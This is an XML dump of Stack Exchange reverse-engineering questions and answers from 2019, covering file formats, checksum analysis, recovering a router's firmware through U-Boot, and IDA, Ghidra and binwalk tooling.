  <row Id="21805" PostTypeId="2" ParentId="21752" CreationDate="2019-07-30T21:45:49.457" Score="1" Body="&lt;p&gt;Another way this could be achieved is by using the Stacktrace function and then printing the arguments' locations - something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dprintf( &quot;%08p %08p %08p %08p %08p %s&quot;,&#xA;             stk[i].FramePointer,&#xA;             stk[i].ReturnAddress,&#xA;             stk[i].Args[0],&#xA;             stk[i].Args[1],&#xA;             stk[i].Args[2],&#xA;             Buffer&#xA;             );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25001" LastActivityDate="2019-07-30T21:45:49.457" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21806" PostTypeId="1" AcceptedAnswerId="21813" CreationDate="2019-07-31T06:35:43.150" Score="3" ViewCount="2313" Body="&lt;p&gt;This format is always trouble for reverse engeneering. When there are question about binary XML, the usual answer is &quot;use apktool&quot; (or something similar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, no tool is perfect; actually all suggested tools are more or less buggy, and I don't know tool that can successfully decompile and recompile &lt;strong&gt;any APK&lt;/strong&gt; from Google Play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because such tools are usually open source ones, they are rarely updated and don't fix bugs for years (see &lt;strong&gt;Issues&lt;/strong&gt; on github for any such tool and see how quickly issues are closed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: so, &lt;strong&gt;where is this format documented?&lt;/strong&gt; If &lt;code&gt;apktool&lt;/code&gt; and similar tools exists, it mean that they found format description somewhere and tried to implement its parser and writer.&lt;/p&gt;&#xA;" OwnerUserId="18321" LastActivityDate="2019-07-31T16:39:49.850" Title="Where is Android binary XML format documented?" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21807" PostTypeId="1" CreationDate="2019-07-31T09:11:36.057" Score="1" ViewCount="49" Body="&lt;p&gt;Currently I'm writing a parser for .NET files and stuck on manifest resources. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-335.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Huge documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ntcore.com/files/dotnetformat.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Short summary&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For resource format I have found &lt;a href=&quot;https://www.codeproject.com/Articles/12096/NET-Manifest-Resources&quot; rel=&quot;nofollow noreferrer&quot;&gt;this project made in 2005&lt;/a&gt;, all samples have similar structure as described in that project, but I believe it was based on version=1 resources, but now all samples have version=2 resources, structure somewhat similar but different. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to ask for references into resource format or Windows header files with required C/C++ structures to be used or anything else that migth be useful. &lt;/p&gt;&#xA;" OwnerUserId="8247" LastActivityDate="2019-07-31T09:11:36.057" Title=".NET manifest resource format" Tags="|.net|binary-format|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21808" PostTypeId="2" ParentId="21743" CreationDate="2019-07-31T09:21:59.150" Score="0" Body="&lt;p&gt;Since this would not fit into a simple comment, I am posting this as community Wiki. The script, after all, may be helpful to others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would try in such a case is to see if parts of the string can be interpreted as timestamps, for example.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3&#xA;&quot;&quot;&quot;\&#xA;Little script to interpret integers given on the command line as&#xA;Unix time (unless that causes an error) and Windows FILETIME.&#xA;&#xA;It outputs the human-readable date and time retrieved from either&#xA;interpretation.&#xA;&quot;&quot;&quot;&#xA;import sys&#xA;from contextlib import suppress&#xA;from datetime import datetime, timedelta, timezone&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    START = datetime(1601, 1, 1, tzinfo=timezone.utc)&#xA;    print(&quot;FILETIME base time:&quot;, START)&#xA;    for ftval in sys.argv[1:]:&#xA;        with suppress(ValueError):&#xA;            ft = int(ftval)&#xA;            print(&quot;You gave:&quot;, ft)&#xA;            with suppress(OverflowError, ValueError, OSError):&#xA;                dt = datetime.utcfromtimestamp(ft)&#xA;                print(&quot;\t... interpreted as Unix time:&quot;, dt)&#xA;            # Windows FILETIME uses 100 ns intervals as base unit.&#xA;            # 100 ns == 0.1 µs&#xA;            microsecs = ft / 10&#xA;            with suppress(OverflowError):&#xA;                delta = timedelta(microseconds=microsecs)&#xA;                dt = START + delta&#xA;                print(&quot;\t... interpreted as Windows FILETIME:&quot;, dt)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... unfortunately, having tried that with &lt;code&gt;./winft.py 5285890789147445564&lt;/code&gt; (I named the script &lt;code&gt;winft.py&lt;/code&gt;), I can tell you that it's likely not timestamps. Even using parts that &lt;em&gt;look like&lt;/em&gt; Unix timestamps, the output hardly makes sense:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./winft.py 147445564&#xA;FILETIME base time: 1601-01-01 00:00:00+00:00&#xA;You gave: 147445564&#xA;        ... interpreted as Unix time: 1974-09-03 13:06:04&#xA;        ... interpreted as Windows FILETIME: 1601-01-01 00:00:14.744556+00:00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... putting that 9 back in front of the apparent Unix time doesn't make it better:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./winft.py 9147445564&#xA;FILETIME base time: 1601-01-01 00:00:00+00:00&#xA;You gave: 9147445564&#xA;        ... interpreted as Unix time: 2259-11-15 05:06:04&#xA;        ... interpreted as Windows FILETIME: 1601-01-01 00:15:14.744556+00:00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the other hand the decimal part after the 8 hex digits could be a bunch of (not so random) bytes that are being interpreted as integer and so could be decoded back into an integer (in either Endianess). Python for example deals with huge integer values effortlessly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, last but not least I would like to remark that proper &lt;em&gt;encryption&lt;/em&gt; is pretty unlikely, given how similar the part behind the 8 hex digits looks. You would get &lt;em&gt;much more random&lt;/em&gt; values if this was properly encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 8 hex digits could be a truncated hash digest (MD5, SHA1 ...) or something else entirely. Would make much more sense to look at available meta-data such as the HTTP headers, at the file contents ... try to compute the digests on the file using various algorithms and then try to see if one of 8 hex digit strings matches the digests in hexadecimal representation ...&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2019-07-31T09:21:59.150" CommentCount="0" CommunityOwnedDate="2019-07-31T09:21:59.150" ContentLicense="CC BY-SA 4.0" />
  <row Id="21810" PostTypeId="1" CreationDate="2019-07-31T14:48:09.113" Score="4" ViewCount="478" Body="&lt;p&gt;Can anyone manage to work out how the checksum is calculated in the following data?&#xA;Have tried reverse engineering crc and xor and anything else I can think of. There is a definite pattern there, but I cant work it out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C8 00 02&#xA;DD 01 02&#xA;53 02 02&#xA;CC 03 02&#xA;BF 04 02&#xA;65 05 02&#xA;57 06 02&#xA;FE 07 02&#xA;35 08 02&#xA;44 09 02&#xA;28 10 02&#xA;3D 11 02&#xA;B3 12 02&#xA;2C 13 02&#xA;5F 14 02&#xA;85 15 02&#xA;B7 16 02&#xA;1E 17 02&#xA;D5 18 02&#xA;A4 19 02&#xA;27 20 02&#xA;32 21 02&#xA;BC 22 02&#xA;23 23 02&#xA;50 24 02&#xA;8A 25 02&#xA;B8 26 02&#xA;11 27 02&#xA;DA 28 02&#xA;AB 29 02&#xA;39 40 02&#xA;2C 41 02&#xA;A2 42 02&#xA;3D 43 02&#xA;4E 44 02&#xA;94 45 02&#xA;A6 46 02&#xA;0F 47 02&#xA;B5 49 02&#xA;D9 50 02&#xA;CC 51 02&#xA;42 52 02&#xA;DD 53 02&#xA;AE 54 02&#xA;74 55 02&#xA;46 56 02&#xA;EF 57 02&#xA;24 58 02&#xA;55 59 02&#xA;D6 60 02&#xA;C3 61 02&#xA;4D 62 02&#xA;D2 63 02&#xA;A1 64 02&#xA;7B 65 02&#xA;49 66 02&#xA;E0 67 02&#xA;2B 68 02&#xA;5A 69 02&#xA;05 80 02&#xA;05 80 02&#xA;10 81 02&#xA;9E 82 02&#xA;01 83 02&#xA;72 84 02&#xA;A8 85 02&#xA;9A 86 02&#xA;33 87 02&#xA;F8 88 02&#xA;89 89 02&#xA;E5 90 02&#xA;F0 91 02&#xA;7E 92 02&#xA;E1 93 02&#xA;92 94 02&#xA;48 95 02&#xA;7A 96 02&#xA;D3 97 02&#xA;18 98 02&#xA;69 99 02&#xA;3E 0A 02&#xA;AC 0B 02&#xA;17 0C 02&#xA;BE 0D 02&#xA;AB 0E 02&#xA;DF 0F 02&#xA;DE 1A 02&#xA;4C 1B 02&#xA;F7 1C 02&#xA;5E 1D 02&#xA;4B 1E 02&#xA;3F 1F 02&#xA;3F 1F 02&#xA;D1 2A 02&#xA;43 2B 02&#xA;F8 2C 02&#xA;51 2D 02&#xA;44 2E 02&#xA;30 2F 02&#xA;CF 4A 02&#xA;5D 4B 02&#xA;E6 4C 02&#xA;4F 4D 02&#xA;5A 4E 02&#xA;2E 4F 02&#xA;2F 5A 02&#xA;BD 5B 02&#xA;06 5C 02&#xA;AF 5D 02&#xA;20 6A 02&#xA;B2 6B 02&#xA;09 6C 02&#xA;A0 6D 02&#xA;B5 6E 02&#xA;C1 6F 02&#xA;F3 8A 02&#xA;61 8B 02&#xA;DA 8C 02&#xA;73 8D 02&#xA;66 8E 02&#xA;12 8F 02&#xA;12 8F 02&#xA;13 9A 02&#xA;81 9B 02&#xA;3A 9C 02&#xA;93 9D 02&#xA;86 9E 02&#xA;F2 9F 02&#xA;EA A0 02&#xA;FF A1 02&#xA;71 A2 02&#xA;EE A3 02&#xA;9D A4 02&#xA;47 A5 02&#xA;75 A6 02&#xA;DC A7 02&#xA;17 A8 02&#xA;66 A9 02&#xA;1C AA 02&#xA;8E AB 02&#xA;35 AC 02&#xA;9C AD 02&#xA;89 AE 02&#xA;FD AF 02&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first item on each line is the checksum.&#xA;Much appreciated!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked further into the left and right nibble of the second byte (the last byte is unchanged at 0x02). There seem to be repeated patterns depending on the values which I highlighted in Excel:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/urgoA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/urgoA.jpg&quot; alt=&quot;Nibble Patterns&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The colours highlight where there is repeating values.&#xA;Not sure if this helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further testing I am pretty sure this isn't CRC based.&#xA;Starting with the first value of C8, as the first nibble changes from 00 to 10, the checksum goes to 28, which is the value XORd with E0. This holds up between 01 and 11, 02 and 12, 03 and 13... it is the previous value XORd with E0. &#xA;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C8 00 02    XOR with E0&#xA;28 10 02&#xA;&#xA;DD 01 02    XOR with E0&#xA;3D 11 02&#xA;&#xA;53 02 02    XOR with E0&#xA;B3 12 02&#xA;&#xA;However,&#xA;28 10 02    XOR with 0F&#xA;37 20 02&#xA;&#xA;3D 11 02    XOR with 0F&#xA;32 21 02&#xA;&#xA;B3 12 02    XOR with 0F&#xA;BC 22 02&#xA;&#xA;And:&#xA;27 20 02    XOR with 1E &#xA;39 40 02&#xA;&#xA;32 21 02    XOR with 1E &#xA;2C 41 02&#xA;&#xA;BC 22 02    XOR with 1E &#xA;A2 22 02&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks again.&lt;/p&gt;&#xA;" OwnerUserId="29188" LastEditorUserId="29188" LastEditDate="2019-08-02T14:34:09.263" LastActivityDate="2024-02-27T17:08:15.990" Title="Checksum Calculation" Tags="|crc|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21813" PostTypeId="2" ParentId="21806" CreationDate="2019-07-31T16:39:49.850" Score="6" Body="&lt;p&gt;There is no actual documentation or specification. You pretty much just have to look at the source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://android.googlesource.com/platform/frameworks/base/+/master/libs/androidfw/include/androidfw/ResourceTypes.h&quot; rel=&quot;noreferrer&quot;&gt;https://android.googlesource.com/platform/frameworks/base/+/master/libs/androidfw/include/androidfw/ResourceTypes.h&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8063" LastActivityDate="2019-07-31T16:39:49.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21814" PostTypeId="2" ParentId="21791" CreationDate="2019-07-31T18:15:05.887" Score="2" Body="&lt;p&gt;I think it's highly unlikely that the drives have custom firmware. Most likely the check is done by the DVR, and the drives are completely ordinary but are prepared by the vendor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, there may be a hidden sector written with data which depends on the drive's serial number, so cloning it to another won't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest investigating the DVR's firmware and looking at how it detects &quot;bad&quot; drives.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-07-31T18:15:05.887" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="21815" PostTypeId="1" AcceptedAnswerId="21819" CreationDate="2019-07-31T18:58:03.190" Score="4" ViewCount="2487" Body="&lt;p&gt;Hello I have a 4G LTE router which is blocked. and I have already dumped the partitions before via &lt;code&gt;telnet&lt;/code&gt; from another device of the same model.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    U-Boot 2010.09 (Sep 06 2016 - 10:08:39)GCT GDM7243&#xA;&#xA;&#xA;&#xA;Build Info:&#xA;&#xA;  date: 2016/09/06-10:08:44&#xA;&#xA;  user: root@ubuntu-will&#xA;&#xA;  svnr: &#xA;&#xA;  src: /home/will/DEVELOPMENT/LTE_Router/B5328_FDD/SDK/work/uboot&#xA;&#xA;  ver: 0.46e&#xA;&#xA;&#xA;&#xA;DRAM:  128 MiB (wbd-p2)&#xA;&#xA;NAND:  Built-in ECC Nand&#xA;maf_id : 0x00000098, dev_id : 0x000000a1&#xA;Pagesize : 2Kbytes&#xA;Address cycle : 4&#xA;128 MiB&#xA;Bad block table found at page 65472, version 0x01&#xA;Bad block table found at page 65408, version 0x01&#xA;nand_read_bbt: Bad block at 0x000006000000&#xA;In:    serial&#xA;Out:   serial&#xA;Err:   serial&#xA;Net:    001cc910 Realtek8211  PHYCR1: 0000211c  Rx delay: 0x00802300 &#xA;    PHYCR2:0x842  mii0&#xA;Hit ENTER key to stop autoboot:  5  4  3  2  1  0 &#xA;GPIO RESET KEY OFF&#xA;00420000&#xA;---------------------&#xA;hdr chksum  : 0xffffffff&#xA;magic       : 0xffffffff&#xA;timstamp    : 0xffffffff&#xA;data chksum : 0xffffffff&#xA;data size   : 0xffffffff&#xA;---------------------&#xA;image header magic is invalid&#xA;00440000&#xA;---------------------&#xA;hdr chksum  : 0xa6160741&#xA;magic       : 0xcafebabe&#xA;timstamp    : 0x00000003&#xA;data chksum : 0xf314f304&#xA;data size   : 0x0001ffdc&#xA;---------------------&#xA;cmnnv current block is : 1&#xA;pesifwcheck=1&#xA;Erasing Nand...&#xA;&#xA;Erasing at 0x80000 --  25% complete.&#xA;Erasing at 0xa0000 --  50% complete.&#xA;Erasing at 0xc0000 --  75% complete.&#xA;Erasing at 0xe0000 -- 100% complete.&#xA;Writing to Nand... done&#xA;&#xA;boot from part_idx: 2&#xA;do_check_partition() type:linux2, ---------------------&#xA;hdr chksum  : 0x00000000&#xA;magic       : 0x00000000&#xA;timstamp    : 0x00000000&#xA;data chksum : 0x00000000&#xA;data size   : 0x00000000&#xA;---------------------&#xA;---------------------&#xA;hdr chksum  : 0x00000000&#xA;magic       : 0x00000000&#xA;timstamp    : 0x00000000&#xA;data chksum : 0x00000000&#xA;data size   : 0x00000000&#xA;---------------------&#xA;no valid header(0)&#xA;There are no valid headers&#xA;---------------------&#xA;hdr chksum  : 0x00000000&#xA;magic       : 0x00000000&#xA;timstamp    : 0x00000000&#xA;data chksum : 0x00000000&#xA;data size   : 0x00000000&#xA;---------------------&#xA;---------------------&#xA;hdr chksum  : 0x00000000&#xA;magic       : 0x00000000&#xA;timstamp    : 0x00000000&#xA;data chksum : 0x00000000&#xA;data size   : 0x00000000&#xA;---------------------&#xA;no valid header(1)&#xA;There are no valid headers&#xA;Erasing Nand...&#xA;&#xA;Erasing at 0x80000 --  25% complete.&#xA;Erasing at 0xa0000 --  50% complete.&#xA;Erasing at 0xc0000 --  75% complete.&#xA;Erasing at 0xe0000 -- 100% complete.&#xA;Writing to Nand... done&#xA;&#xA;---------------------&#xA;hdr chksum  : 0x00000000&#xA;magic       : 0x00000000&#xA;timstamp    : 0x00000000&#xA;data chksum : 0x00000000&#xA;data size   : 0x00000000&#xA;---------------------&#xA;---------------------&#xA;hdr chksum  : 0x00000000&#xA;magic       : 0x00000000&#xA;timstamp    : 0x00000000&#xA;data chksum : 0x00000000&#xA;data size   : 0x00000000&#xA;---------------------&#xA;no valid header(0)&#xA;---------------------&#xA;hdr chksum  : 0x00000000&#xA;magic       : 0x00000000&#xA;timstamp    : 0x00000000&#xA;data chksum : 0x00000000&#xA;data size   : 0x00000000&#xA;---------------------&#xA;---------------------&#xA;hdr chksum  : 0x00000000&#xA;magic       : 0x00000000&#xA;timstamp    : 0x00000000&#xA;data chksum : 0x00000000&#xA;data size   : 0x00000000&#xA;---------------------&#xA;no valid header(2)&#xA;---------------------&#xA;hdr chksum  : 0x00000000&#xA;magic       : 0x00000000&#xA;timstamp    : 0x00000000&#xA;data chksum : 0x00000000&#xA;data size   : 0x00000000&#xA;---------------------&#xA;---------------------&#xA;hdr chksum  : 0x00000000&#xA;magic       : 0x00000000&#xA;timstamp    : 0x00000000&#xA;data chksum : 0x00000000&#xA;data size   : 0x00000000&#xA;---------------------&#xA;  ## Booting kernel from Legacy Image at d05fffc0 ...&#xA;   Image Name:   Linux-3.10.0-uc0&#xA;   Image Type:   ARM Linux Kernel Image (uncompressed)&#xA;   Data Size:    2317840 Bytes = 2.2 MiB&#xA;   Load Address: d0600000&#xA;   Entry Point:  d0600000&#xA;   Verifying Checksum ... Bad Data CRC&#xA;ERROR: can't get kernel image!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I try to boot from TFTP the image loads just fine and everything is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I flashed the &lt;code&gt;linux.bin&lt;/code&gt; image to the respective partition but I don't know what I need to do to be able to get the device working again. Maybe flashing from U-Boot will get it to work .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the boot process information from TFTP: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Using mii0 device&#xA;TFTP from server 192.168.0.10; our IP address is 192.168.0.1&#xA;Filename 'linux.bin'.&#xA;Load address: 0xd05fffc0&#xA;Loading: *##T ###############################################################&#xA;     #################################################################&#xA;     #################################################################&#xA;     #################################################################&#xA;     ##########################&#xA;done&#xA;Bytes transferred = 4194304 (400000 hex)&#xA;Automatic boot of image at addr 0xD05FFFC0 ...&#xA;## Booting kernel from Legacy Image at d05fffc0 ...&#xA;   Image Name:   Linux-3.10.0-uc0&#xA;   Image Type:   ARM Linux Kernel Image (uncompressed)&#xA;   Data Size:    2317840 Bytes = 2.2 MiB&#xA;   Load Address: d0600000&#xA;   Entry Point:  d0600000&#xA;   Verifying Checksum ... OK&#xA;   Loading Kernel Image ... OK&#xA;OK&#xA;&#xA;Starting kernel ...&#xA;&#xA;Uncompressing Linux... done, booting the kernel.&#xA;gipc-protocol address: d4880010&#xA;ipc config: 00000004&#xA;  router-device&#xA;s-ch_enabled: 0x10010001&#xA;s-ch_enabled: 0x10010001&#xA;s-ch_enabled: 0x10010001&#xA;ipc magic=0x40540103(12)&#xA;s-ch_enabled: 0x10010003&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the partition layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;device nand0 &amp;lt;gdm7243&amp;gt;, # parts = 17&#xA; #: name        size        offset      mask_flags&#xA; 0: u-boot              0x00080000  0x00000000  0&#xA; 1: env                 0x00080000  0x00080000  0&#xA; 2: rev0                0x00100000  0x00100000  0&#xA; 3: ltenv               0x00100000  0x00200000  0&#xA; 4: wmnv                0x00100000  0x00300000  0&#xA; 5: cmnnv               0x00100000  0x00400000  0&#xA; 6: cmnnv2              0x00100000  0x00500000  0&#xA; 7: rev1                0x00400000  0x00600000  0&#xA; 8: linux               0x00400000  0x00a00000  0&#xA; 9: linux2              0x00400000  0x00e00000  0&#xA;10: rootfs              0x01e00000  0x01200000  0&#xA;11: rootfs2             0x01e00000  0x03000000  0&#xA;12: tk                  0x00500000  0x04e00000  0&#xA;13: tk2                 0x00500000  0x05300000  0&#xA;14: customize           0x00080000  0x05800000  0&#xA;15: log                 0x00280000  0x05880000  0&#xA;16: update              0x02000000  0x05b00000  0&#xA;&#xA;active partition: nand0,0 - (u-boot) 0x00080000 @ 0x00000000&#xA;&#xA;defaults:&#xA;mtdids  : nand0=gdm7243&#xA;mtdparts: mtdparts=gdm7243:512k(u-boot),512k(env),1m(rev0),1m(ltenv),1m(wmnv),1m(cmnnv),1m(cmnnv2),4m(rev1),4m(linux),4m(linux2),30m(rootfs),30m(rootfs2),5m(tk),5m(tk2),512k(customize),2560k(log),32m(update)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29147" LastEditorUserId="29147" LastEditDate="2019-12-18T12:59:06.113" LastActivityDate="2019-12-18T12:59:06.113" Title="how to flash image.bin with uboot using serial or tftp" Tags="|linux|flash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21817" PostTypeId="1" CreationDate="2019-08-01T07:29:17.747" Score="4" ViewCount="8163" Body="&lt;p&gt;I'm working on a crack me, specifically: &lt;a href=&quot;https://crackmes.one/crackme/5d3052e133c5d444ad3017b9&quot; rel=&quot;nofollow noreferrer&quot;&gt;jaunsacco's DragonCrack&lt;/a&gt; and the first thing I've gotten stuck on is that the program is built mostly as a enormous main function. After attempting to decompile I get the error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Decompilation failure:&#xA;  11E1640: too big function&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've increased my max function size for decompilation to 512K (defaults at 64), the main function is approx. 400K. But this is too much processing and IDA froze for at least 5 minutes before I gave up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an alternative approach to decompiling a large (400K) function using Hex-Rays decompiler? Maybe partial decompilation, or non-default decompiler configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;IDA: Version 7.2.181105&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Hex-Rays Decompiler: v7.0.0.170914&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="29195" LastEditorUserId="29195" LastEditDate="2019-08-01T07:57:20.133" LastActivityDate="2023-02-02T11:01:36.677" Title="Decompile large function in IDA" Tags="|decompilation|hexrays|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21818" PostTypeId="1" CreationDate="2019-08-01T13:40:20.530" Score="1" ViewCount="98" Body="&lt;p&gt;I try to use IDA to debug Android application. As always, I perform static analysis first and rename registers, memory locations, jumps, etc, to make assembly code more readable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as soon as I attach IDA as debugger to device, it losses any data that I entered during static analysis; it for any reason changes functions borders (so, it reanalyzes the application after rebase, and it does it in a buggy way), and it resets any renames, so I debug code in its initial form where nothing has readable name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even more, database becomes corrupted, and after I stopped the debugger, I also can not see any renames I did, and the only way to see them again is to restore database from backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know workaround for this IDA bug? For example, it is possible to force IDA not to reanalyze library during debugging and use database with existing function borders and names?&lt;/p&gt;&#xA;" OwnerUserId="18321" LastActivityDate="2019-08-01T13:40:20.530" Title="IDA losses renaming and functions border data when debugger starts: is there any workaround?" Tags="|ida|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21819" PostTypeId="2" ParentId="21815" CreationDate="2019-08-01T18:54:23.980" Score="4" Body="&lt;pre&gt;&lt;code&gt;kernel_load_addr=0xd0600000&#xA;filesize=400000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then reset the device . it should be working. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Starting kernel ...&#xA;&#xA;Uncompressing Linux... done, booting the kernel.&#xA;gipc-protocol address: d4880010&#xA;ipc config: 00000004&#xA;  router-device&#xA;s-ch_enabled: 0x10010001&#xA;s-ch_enabled: 0x10010001&#xA;s-ch_enabled: 0x10010001&#xA;ipc magic=0x40540103(12)&#xA;s-ch_enabled: 0x10010003&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still the issue persist after the second reboot. &#xA;if I reboot after typing these commands the device actually boots up normally but if i restart a second time the error will reappear again . still something to investigate on the problem.&lt;/p&gt;&#xA;" OwnerUserId="29147" LastEditorUserId="29147" LastEditDate="2019-12-18T12:55:02.780" LastActivityDate="2019-12-18T12:55:02.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21820" PostTypeId="1" CreationDate="2019-08-02T09:17:17.107" Score="2" ViewCount="875" Body="&lt;p&gt;I am searching for a tool which can do backwards symbolic execution on x86 binaries. More specifically, I would like to give the tool a program state(PC value + registers + memory content) and have it give me a set of inputs to the program that would result in that state. Can Ghidra do this? Or does anyone know if there are any other tools which can?&lt;/p&gt;&#xA;" OwnerUserId="29204" LastEditorUserId="245" LastEditDate="2019-08-07T07:08:26.937" LastActivityDate="2019-08-07T07:08:26.937" Title="Can Ghidra do backward symbolic execution?" Tags="|ida|disassembly|assembly|x86|ghidra|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21822" PostTypeId="1" CreationDate="2019-08-02T10:54:12.563" Score="1" ViewCount="444" Body="&lt;p&gt;I know I can set the operand data type of my disassembly using functions such as &lt;strong&gt;OpBinary&lt;/strong&gt;, &lt;strong&gt;OpOctal&lt;/strong&gt;,&lt;strong&gt;OpDecimal&lt;/strong&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I'm trying to get the current operand data type of my disassembly instead.&#xA;For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mov     eax, 200 should return &lt;strong&gt;decimal&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;li&gt;mov     eax, 0C8h should return &lt;strong&gt;hex&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;mov     eax, 11001000b should return &lt;strong&gt;binary&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;and so on.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;GetOpType&lt;/strong&gt; can get the instruction operand type but not the operand data type.&#xA;Is there a function to get the operand data type instead?&lt;/p&gt;&#xA;" OwnerUserId="29206" LastActivityDate="2019-08-02T13:15:00.947" Title="How do you get the operand data type using idapython?" Tags="|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21824" PostTypeId="2" ParentId="21822" CreationDate="2019-08-02T13:15:00.947" Score="2" Body="&lt;p&gt;It seems I can use the following MACROS together with &lt;strong&gt;GetFlags&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;isDec1&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;isHex1&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;isBin1&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29206" LastActivityDate="2019-08-02T13:15:00.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21825" PostTypeId="2" ParentId="17262" CreationDate="2019-08-02T14:42:22.050" Score="2" Body="&lt;p&gt;There's a cloud version of binwalk (binwalk pro) where you just upload the firmware and it unpacks. Supports more file systems than the open source version. Less buggy too. Developed by Craig Heffner, creator of binwalk.&lt;/p&gt;&#xA;" OwnerUserId="29209" LastActivityDate="2019-08-02T14:42:22.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
